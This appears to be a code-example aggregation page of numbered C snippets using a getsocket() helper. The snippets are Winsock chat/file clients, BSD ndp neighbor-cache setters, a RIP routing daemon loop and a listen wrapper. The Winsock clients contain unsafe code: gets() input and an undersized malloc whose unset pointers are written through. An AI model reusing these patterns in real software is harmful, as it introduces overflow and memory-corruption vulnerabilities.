		fprintf(stderr, "Could not find sock dll %d\n", WSAGetLastError());
		goto FINISH;
	}

	//Initialize sockets and set any options

	//Connect to the server
	struct sockaddr_in my_addr;

	my_addr.sin_family = AF_INET;
	my_addr.sin_port = htons(host_port);

	memset(&(my_addr.sin_zero), 0, 8);
	my_addr.sin_addr.s_addr = inet_addr(host_name);

	//if( connect( hsock, (struct sockaddr*)&my_addr, sizeof(my_addr)) == SOCKET_ERROR ){
	//	fprintf(stderr, "Error connecting socket %d\n", WSAGetLastError());
	//	goto FINISH;
	//}

	//Now lets do the client related stuff
	char buffer[1024];
	int buffer_len = 1024;
	int bytecount;
	int c;
	int hsock = getsocket();
	//add error checking on hsock...
	if (connect(hsock, (struct sockaddr*)&my_addr, sizeof(my_addr)) == SOCKET_ERROR){
		fprintf(stderr, "Error connecting socket %d\n", WSAGetLastError());
		goto FINISH;
	}
	while (true)
	{
		system("cls");
		memset(buffer, '\0', buffer_len);
		if ((bytecount = recv(hsock, buffer, buffer_len, 0)) == SOCKET_ERROR){
			fprintf(stderr, "Error receiving data %d\n", WSAGetLastError());
			goto FINISH;
		}
		//printf("Recieved bytes %d\nReceived string \"%s\"\n", bytecount, buffer);
		if (strcmp(buffer, "SendFile") == 0){
			if ((sendFILE(hsock)) == 0)
				goto FINISH;
			continue;
		}
		if (strcmp(buffer, "Download") == 0){
			if ((downloadFile(hsock)) == 0)
				goto FINISH;
			continue;
		}
		printf("%s\n", buffer);
		memset(buffer, '\0', buffer_len);
		//printf("Enter your message to send here\n");
		fflush(stdin);
		gets(buffer);
		if ((bytecount = send(hsock, buffer, strlen(buffer), 0)) == SOCKET_ERROR){
			fprintf(stderr, "Error sending data %d\n", WSAGetLastError());
			goto FINISH;
		}
		printf("Sent bytes %d\n", bytecount);
		if (buffer[0] == '0'){
			goto FINISH;
		}
	}
	if ((bytecount = recv(hsock, buffer, buffer_len, 0)) == SOCKET_ERROR){
		fprintf(stderr, "Error receiving data %d\n", WSAGetLastError());
		goto FINISH;
	}
	//closesocket(hsock);
FINISH:
	;
	closesocket(hsock);
}
Exemplo n.º 25
0
/*
 * Set an individual neighbor cache entry
 */
int
set(int argc, char **argv)
{
	struct sockaddr_in6 *sin = &sin_m;
	struct sockaddr_dl *sdl;
	struct rt_msghdr *rtm = &(m_rtmsg.m_rtm);
	struct addrinfo hints, *res;
	int gai_error;
	u_char *ea;
	char *host = argv[0], *eaddr = argv[1];

	getsocket();
	argc -= 2;
	argv += 2;
	sdl_m = blank_sdl;
	sin_m = blank_sin;

	bzero(&hints, sizeof(hints));
	hints.ai_family = AF_INET6;
	gai_error = getaddrinfo(host, NULL, &hints, &res);
	if (gai_error) {
		fprintf(stderr, "ndp: %s: %s\n", host,
			gai_strerror(gai_error));
		return 1;
	}
	sin->sin6_addr = ((struct sockaddr_in6 *)res->ai_addr)->sin6_addr;
#ifdef __KAME__
	if (IN6_IS_ADDR_LINKLOCAL(&sin->sin6_addr)) {
		*(u_int16_t *)&sin->sin6_addr.s6_addr[2] =
			htons(((struct sockaddr_in6 *)res->ai_addr)->sin6_scope_id);
	}
#endif
	ea = (u_char *)LLADDR(&sdl_m);
	if (ndp_ether_aton(eaddr, ea) == 0)
		sdl_m.sdl_alen = 6;
	flags = 0;
	expire_time = 0;
	while (argc-- > 0) {
		if (strncmp(argv[0], "temp", 4) == 0) {
			struct timespec sp;

			clock_gettime(CLOCK_MONOTONIC, &sp);
			expire_time = sp.tv_sec + 20 * 60;
		} else if (strncmp(argv[0], "proxy", 5) == 0)
			flags |= RTF_ANNOUNCE;
		argv++;
	}
	if (rtmsg(RTM_GET) < 0) {
		perror(host);
		return (1);
	}
	sin = (struct sockaddr_in6 *)(rtm + 1);
	sdl = (struct sockaddr_dl *)(RT_ROUNDUP(sin->sin6_len) + (char *)sin);
	if (IN6_ARE_ADDR_EQUAL(&sin->sin6_addr, &sin_m.sin6_addr)) {
		if (sdl->sdl_family == AF_LINK &&
		    (rtm->rtm_flags & RTF_LLINFO) &&
		    !(rtm->rtm_flags & RTF_GATEWAY)) switch (sdl->sdl_type) {
		case IFT_ETHER: case IFT_FDDI: case IFT_ISO88023:
		case IFT_ISO88024: case IFT_ISO88025:
			goto overwrite;
		}
		/*
		 * IPv4 arp command retries with sin_other = SIN_PROXY here.
		 */
		fprintf(stderr, "set: cannot configure a new entry\n");
		return 1;
	}

overwrite:
	if (sdl->sdl_family != AF_LINK) {
		printf("cannot intuit interface index and type for %s\n", host);
		return (1);
	}
	sdl_m.sdl_type = sdl->sdl_type;
	sdl_m.sdl_index = sdl->sdl_index;
	return (rtmsg(RTM_ADD));
}
Exemplo n.º 26
0
/*
 * Set an individual neighbor cache entry
 */
static int
set(int argc, char **argv)
{
	register struct sockaddr_in6 *sin = &sin_m;
	register struct sockaddr_dl *sdl;
	register struct rt_msghdr *rtm = &(m_rtmsg.m_rtm);
	struct addrinfo hints, *res;
	int gai_error;
	u_char *ea;
	char *host = argv[0], *eaddr = argv[1];

	getsocket();
	argc -= 2;
	argv += 2;
	sdl_m = blank_sdl;
	sin_m = blank_sin;

	bzero(&hints, sizeof(hints));
	hints.ai_family = AF_INET6;
	gai_error = getaddrinfo(host, NULL, &hints, &res);
	if (gai_error) {
		fprintf(stderr, "ndp: %s: %s\n", host,
			gai_strerror(gai_error));
		return 1;
	}
	sin->sin6_addr = ((struct sockaddr_in6 *)res->ai_addr)->sin6_addr;
	sin->sin6_scope_id =
	    ((struct sockaddr_in6 *)res->ai_addr)->sin6_scope_id;
	ea = (u_char *)LLADDR(&sdl_m);
	if (ndp_ether_aton(eaddr, ea) == 0)
		sdl_m.sdl_alen = 6;
	flags = expire_time = 0;
	while (argc-- > 0) {
		if (strncmp(argv[0], "temp", 4) == 0) {
			struct timeval now;

			gettimeofday(&now, 0);
			expire_time = now.tv_sec + 20 * 60;
		} else if (strncmp(argv[0], "proxy", 5) == 0)
			flags |= RTF_ANNOUNCE;
		argv++;
	}
	if (rtmsg(RTM_GET) < 0) {
		errx(1, "RTM_GET(%s) failed", host);
		/* NOTREACHED */
	}
	sin = (struct sockaddr_in6 *)(rtm + 1);
	sdl = (struct sockaddr_dl *)(ALIGN(sin->sin6_len) + (char *)sin);
	if (IN6_ARE_ADDR_EQUAL(&sin->sin6_addr, &sin_m.sin6_addr)) {
		if (sdl->sdl_family == AF_LINK &&
		    !(rtm->rtm_flags & RTF_GATEWAY)) {
			switch (sdl->sdl_type) {
			case IFT_ETHER: case IFT_FDDI: case IFT_ISO88023:
			case IFT_ISO88024: case IFT_ISO88025:
			case IFT_L2VLAN: case IFT_BRIDGE:
				goto overwrite;
			}
		}
		fprintf(stderr, "set: cannot configure a new entry\n");
		return 1;
	}

overwrite:
	if (sdl->sdl_family != AF_LINK) {
		printf("cannot intuit interface index and type for %s\n", host);
		return (1);
	}
	sdl_m.sdl_type = sdl->sdl_type;
	sdl_m.sdl_index = sdl->sdl_index;
	return (rtmsg(RTM_ADD));
}
Exemplo n.º 27
0
int
ripd(int argc, char *argv[])
{
	int n, nfd, tflags = 0, ch;
	struct timeval *tvp, waittime;
	struct itimerval itval;
	struct rip *query = msg;
	fd_set ibits;
	sigset_t sigset, osigset;
	
	while ((ch = getopt(argc, argv, "sqtdg")) != EOF) {
		switch (ch) {
			case 's': supplier = 1; break;
			case 'q': supplier = 0; break;
			case 't': 
				tflags++;
				break;
			case 'd': 
				debug++;
				setlogmask(LOG_UPTO(LOG_DEBUG));
				break;
			case 'g': gateway = 1; break;
			default:
				fprintf(stderr, "%% Incomplete command\r\n");
				return(1);
		}
	}

	getkversion();

	sock = getsocket();
	assert(sock>=0);

	openlog("ripd", LOG_PID | LOG_ODELAY, LOG_DAEMON);

	if (debug == 0 && tflags == 0) {
		switch (fork()) {
			case -1: perror("fork"); exit(1);
			case 0: break;   /* child */
			default: exit(0);  /* parent */
		}
		close(0);
		close(1);
		close(2);
		setsid();
		setlogmask(LOG_UPTO(LOG_WARNING));
	}
	else {
		setlogmask(LOG_UPTO(LOG_DEBUG));
	}
	/* pid */	
	pidfile = fopen( "/var/run/ripd.pid", "w" ) ;
	if (pidfile==NULL)
	{
	    fprintf(stderr,"%% Error write pid\n");
	    return (-1);
	}
	else fprintf(pidfile,"%d", (int) getpid());
	fclose(pidfile);    
	/*
	 * Any extra argument is considered
	 * a tracing log file.
	 * 
	 * Note: because traceon() redirects stderr, anything planning to
	 * crash on startup should do so before this point.
	 */

	if (argc > optind) {
		traceon(argv[optind]);
	}
	while (tflags-- > 0) {
		bumploglevel();
	}

	gettimeofday(&now, NULL);

	/*
	 * Collect an initial view of the world by
	 * checking the interface configuration and the gateway kludge
	 * file.  Then, send a request packet on all
	 * directly connected networks to find out what
	 * everyone else thinks.
	 */

	rtinit();
	ifinit();
	gwkludge();
	if (gateway > 0) {
		rtdefault();
	}
	if (supplier < 0) {
		supplier = 0;
	}
	query->rip_cmd = RIPCMD_REQUEST;
	query->rip_vers = RIPVERSION;
	if (sizeof(query->rip_nets[0].rip_dst.sa_family) > 1) {
		/* XXX */
		query->rip_nets[0].rip_dst.sa_family = htons((u_short)AF_UNSPEC);
	}
	else {
		/* unreachable code (at least on most platforms) */
		query->rip_nets[0].rip_dst.sa_family = AF_UNSPEC;
	}
	query->rip_nets[0].rip_metric = htonl((u_long)HOPCNT_INFINITY);

	toall(sndmsg, 0, NULL);

	signal(SIGALRM, timer);
	signal(SIGHUP, hup);
	signal(SIGTERM, hup);
	signal(SIGINT, rtdeleteall);
	signal(SIGUSR1, sigtrace);
	signal(SIGUSR2, sigtrace);

	itval.it_interval.tv_sec = TIMER_RATE;
	itval.it_value.tv_sec = TIMER_RATE;
	itval.it_interval.tv_usec = 0;
	itval.it_value.tv_usec = 0;

	srandom(time(NULL) ^ getpid());

	if (setitimer(ITIMER_REAL, &itval, (struct itimerval *)NULL) < 0) {
		syslog(LOG_ERR, "setitimer: %m\n");
	}

	FD_ZERO(&ibits);
	nfd = sock + 1;			/* 1 + max(fd's) */
	for (;;) {
		FD_SET(sock, &ibits);

		/*
		 * If we need a dynamic update that was held off,
		 * needupdate will be set, and nextbcast is the time
		 * by which we want select to return.  Compute time
		 * until dynamic update should be sent, and select only
		 * until then.  If we have already passed nextbcast,
		 * just poll.
		 */
		if (needupdate) {
			waittime = nextbcast;
			timevalsub(&waittime, &now);
			if (waittime.tv_sec < 0) {
				waittime.tv_sec = 0;
				waittime.tv_usec = 0;
			}
			if (traceactions)
				fprintf(ftrace,
				 "select until dynamic update %ld/%ld sec/usec\n",
				    (long)waittime.tv_sec, (long)waittime.tv_usec);
			tvp = &waittime;
		}
		else {
			tvp = (struct timeval *)NULL;
		}

		n = select(nfd, &ibits, 0, 0, tvp);
		if (n <= 0) {
			/*
			 * Need delayed dynamic update if select returned
			 * nothing and we timed out.  Otherwise, ignore
			 * errors (e.g. EINTR).
			 */
			if (n < 0) {
				if (errno == EINTR)
					continue;
				syslog(LOG_ERR, "select: %m");
			}
			sigemptyset(&sigset);
			sigaddset(&sigset, SIGALRM);
			sigprocmask(SIG_BLOCK, &sigset, &osigset);
			if (n == 0 && needupdate) {
				if (traceactions)
					fprintf(ftrace,
					    "send delayed dynamic update\n");
				(void) gettimeofday(&now,
					    (struct timezone *)NULL);
				toall(supply, RTS_CHANGED,
				    (struct interface *)NULL);
				lastbcast = now;
				needupdate = 0;
				nextbcast.tv_sec = 0;
			}
			sigprocmask(SIG_SETMASK, &osigset, NULL);
			continue;
		}

		gettimeofday(&now, (struct timezone *)NULL);
		sigemptyset(&sigset);
		sigaddset(&sigset, SIGALRM);
		sigprocmask(SIG_BLOCK, &sigset, &osigset);

		if (FD_ISSET(sock, &ibits)) {
			process(sock);
		}

		/* handle ICMP redirects */
		sigprocmask(SIG_SETMASK, &osigset, NULL);
	}
}
Exemplo n.º 28
0
static int initvirtdev (const char* devname, int port, pollCallback cb) {
	printf ("probing %s: (waiting for connection localhost:%d)\n", devname, port);
	int fd = getsocket(port);
	int rc = fcf_addfd (fd, POLLIN, cb);
	return rc;
}
Exemplo n.º 29
0
void socket_client()
{

	//The port and address you want to connect to
	int host_port= 1101;
	char* host_name="127.0.0.1";

	//Initialize socket support WINDOWS ONLY!
	unsigned short wVersionRequested;
	WSADATA wsaData;
	int err;

	wVersionRequested = MAKEWORD( 2, 2 );
 	err = WSAStartup( wVersionRequested, &wsaData );
	if ( err != 0 || ( LOBYTE( wsaData.wVersion ) != 2 ||
		    HIBYTE( wsaData.wVersion ) != 2 )) {
	    fprintf(stderr, "Could not find sock dll %d\n",WSAGetLastError());
		goto FINISH;
	}

	//Initialize sockets and set any options

	//Connect to the server
	struct sockaddr_in my_addr;

	my_addr.sin_family = AF_INET ;
	my_addr.sin_port = htons(host_port);
	
	memset(&(my_addr.sin_zero), 0, 8);
	my_addr.sin_addr.s_addr = inet_addr(host_name);

	//if( connect( hsock, (struct sockaddr*)&my_addr, sizeof(my_addr)) == SOCKET_ERROR ){
	//	fprintf(stderr, "Error connecting socket %d\n", WSAGetLastError());
	//	goto FINISH;
	//}

	//Now lets do the client related stuff
	char buffer[1024];
	int buffer_len = 1024;
	int bytecount;
	int c;
	char **users;
	int nou = 0;
	users = (char **)malloc(sizeof(char) * 20);
	while(true) {

		int hsock = getsocket();
		//add error checking on hsock...
		if( connect(hsock, (struct sockaddr*)&my_addr, sizeof(my_addr)) == SOCKET_ERROR ){
			fprintf(stderr, "Error connecting socket %d\n", WSAGetLastError());
			goto FINISH;
		}
		int opt;
		printf("1.Create user\n2.send message\n3.create category\n4.delete message\n");
		scanf("%d", &opt);
		switch (opt){
		case 1:{
			if (nou >= 20){
				printf("\n******users limit exceeded******");
				break;
			}
			printf("\nenter new user name : ");
			gets(users[nou++]);
			break;
		}
		case 2:{
			int id;
			printf("\nusers are : \n");
			for (int i = 0; i < nou; i++){
				printf("\n%d.%s", i, users[i]);
			}
			printf("\nlogin as:\n");
			scanf("%d", &id);
			
		}
		}
		/*
		memset(buffer, '\0', buffer_len);
		
		printf("\nlogin as:\n");
		gets(u);
		for (int i = 0; i < nou; i++){
			if (compare(u, users[i]))
		}
		
		users[0] = (char *)malloc(sizeof(char) * 10);
		gets(users[0]);*/

		for(char* p=buffer ; (c=getch())!=13 ; p++){
			printf("%c", c);
			*p = c;
		}

		if( (bytecount=send(hsock, buffer, strlen(buffer),0))==SOCKET_ERROR){
			fprintf(stderr, "Error sending data %d\n", WSAGetLastError());
			goto FINISH;
		}
		printf("Sent bytes %d\n", bytecount);

		if((bytecount = recv(hsock, buffer, buffer_len, 0))==SOCKET_ERROR){
			fprintf(stderr, "Error receiving data %d\n", WSAGetLastError());
			goto FINISH;
		}
		printf("Recieved bytes %d\nReceived string \"%s\"\n", bytecount, buffer);
		printf("%s\n",buffer);

		closesocket(hsock);
	}

	//closesocket(hsock);
FINISH:
;
}
void Sockethelper::listen()
{
	if (SOCKET_ERROR == ::listen(getsocket(), SOMAXCONN))
		throw socket_error("listen");
	m_sock_flags.tcpserver = 1;
}